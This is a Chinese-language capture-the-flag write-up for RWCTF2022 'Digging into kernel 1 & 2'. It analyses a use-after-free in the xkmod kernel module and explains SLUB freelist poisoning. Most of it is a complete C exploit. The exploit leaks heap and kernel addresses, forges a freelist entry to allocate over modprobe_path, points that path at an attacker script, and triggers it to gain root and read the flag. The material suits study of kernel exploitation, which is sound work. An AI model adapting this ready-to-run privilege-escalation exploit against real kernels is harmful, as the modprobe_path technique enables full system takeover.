此利用方法与用户态 glibc 中分配 fake chunk 后覆写 __free_hook 这样的手法类似,不过是基于内核 slub 分配器的。
slub 分配器会将释放后的 object 链接到kmem_cache_cpu的freelist指针后。freelist指针存储第一个空闲 object 的地址,第一个空闲 object 的起始地址的前 8 个字节存储下一个空闲对象的地址。

如此就可以如同 glibc 一样通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改内核当中一些有用的数据以完成提权。
RWCTF2022 Digging into kernel 1 & 2
题目分析
首先查看启动脚本
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic
开启了 smep & smap 以及 kaslr,这里 kaslr 写错了,但是没有影响。
查看 /sys/devices/system/cpu/vulnerabilities/*,发现开启了 KPTI:
/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
/sys/devices/system/cpu/vulnerabilities/下的各个文件对应一种漏洞类型,是 Linux 内核对 CPU 漏洞检测的结果。
解包文件系统发现 xkmod.ko LKM 文件,接着 ida 逆向分析。
查看函数表,定义了多个回调函数,我们逐个分析。

xkmod_init
打印了一段日志,然后注册了一个 miscellaneous 设备。接着创建一个名为lalala的 slab cache,用于分配固定 192 字节的对象。然后将对象保存到全局变量s以供其它设备使用。

kmod_release
典型的 UAF 漏洞,释放 slab cache变量s时未置零。

xkmod_ioctl
这是一个堆菜单,实现了 write、read、alloc 等功能。
根据代码逻辑可以分析出来变量v3是数据,v4是偏移,而v5则是长度。

为了方便分析,我们通过 ida 为它们创建一个结构体。

struct xkdata
{
size_t *user_buf;
unsigned int offset;
unsigned int length;
};
根据以上伪代码进行相应的变量重命名后,直接 F5 刷新一下,可以看到伪代码清晰多了。

解题思路
关于内核基址的获取,由于在物理内存(page_offset_base) 0x9d000 处存放secondary_startup_64函数的地址,所以我们可以从 free object 的 next 指针获得一个堆上地址,从而去找堆的基址。然后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址。
思路:
- 泄露堆地址
- 计算目标地址
- 伪造 freelist
- 分配目标地址
- 读取内核地址
- 计算 modprobe_path 地址
- 覆盖 modprobe_path
- 提权
通过 vmlinux-to-elf 将 bzImage 转换为 vmlinux,然后使用 ida 分析。在字符串表中搜索modprobe:


计算偏移: 0xFFFFFFFF82444700 - 0xffffffff81000000 = 0x1444700


- exp:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwn"
struct xkdata
{
size_t *user_buf;
unsigned int offset;
unsigned int length;
};
// 将进程绑定到固件 CPU 核心,提高 exp 稳定性
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("[*] Process binded to core %d\n", core);
}
// 定义菜单操作函数
void alloc_buf(int dev_fd, struct xkdata *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void edit_buf(int dev_fd, struct xkdata *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void read_buf(int dev_fd, struct xkdata *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char **envp)
{
int dev_fd[8], root_script_fd;
size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
char flag[0x100];
int flag_fd;
// 绑定到核心0,提高稳定性
bindCore(0);
// 创建恶意脚本 /home/pwn
root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " MAGIC_PATH);
// 打开8个设备文件描述符
for (int i = 0; i < 8; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
// 触发 UAF
struct xkdata data;
data.user_buf = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.user_buf, 0, 0x1000);
alloc_buf(dev_fd[0], &data);
edit_buf(dev_fd[0], &data);
close(dev_fd[0]);
// 通过已释放的对象读取数据,释放后对象前8字节是 freelist 的 next 指针
read_buf(dev_fd[1], &data); //读前 80 字节
heap_leak = data.user_buf[0]; // 获取 next 指针
// 计算 page_offset_base
kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
// 计算目标地址:secondary_startup_64 附近
// 偏移 0x9d000,再减 0x10 是为了对齐 freelist 指针位置
secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
printf("[+] Chunk for kernel base: %p\n", (void *)secondary_startup_64_chunk);
// 伪造 freelist
memset(data.user_buf, 0, 0x1000);
// 设置要伪造的 next 指针值
data.user_buf[0] = secondary_startup_64_chunk;
data.offset = 0;
data.length = 0x8;
// 修改已释放对象的 next 指针
edit_buf(dev_fd[1], &data);
// 第一次分配:分配器取出原 freelist 头部的对象
alloc_buf(dev_fd[1], &data);
// 第二次分配:返回我们伪造的 target 地址
alloc_buf(dev_fd[1], &data); // get the chunk
//获得内核地址
data.length = 0x20;
read_buf(dev_fd[1], &data);
kernel_leak = data.user_buf[2];
kernel_base = kernel_leak - 0x30;
printf("[+] Kernel base: %p\n", (void *)kernel_base);
// 修改 modprobe_path
puts("[*] hijacking modprobe_path...");
alloc_buf(dev_fd[1], &data);
close(dev_fd[1]);
data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
data.offset = 0;
data.length = 0x8;
edit_buf(dev_fd[2], &data);
alloc_buf(dev_fd[2], &data);
alloc_buf(dev_fd[2], &data); // get the chunk
strcpy((char *) &data.user_buf[2], MAGIC_PATH);
data.length = 0x30;
edit_buf(dev_fd[2], &data);
// 提权
puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
system("chmod +x /home/trigger");
system("/home/trigger");
// 读 flag
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR);
read(flag_fd, flag, sizeof(flag));
printf("[+] Flag: %s\n", flag);
return 0;
}
参考
Linux kernel 堆溢出利用方法(三) - 蚁景网安实验室 - 博客园 从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法 · BeaCox’s Blog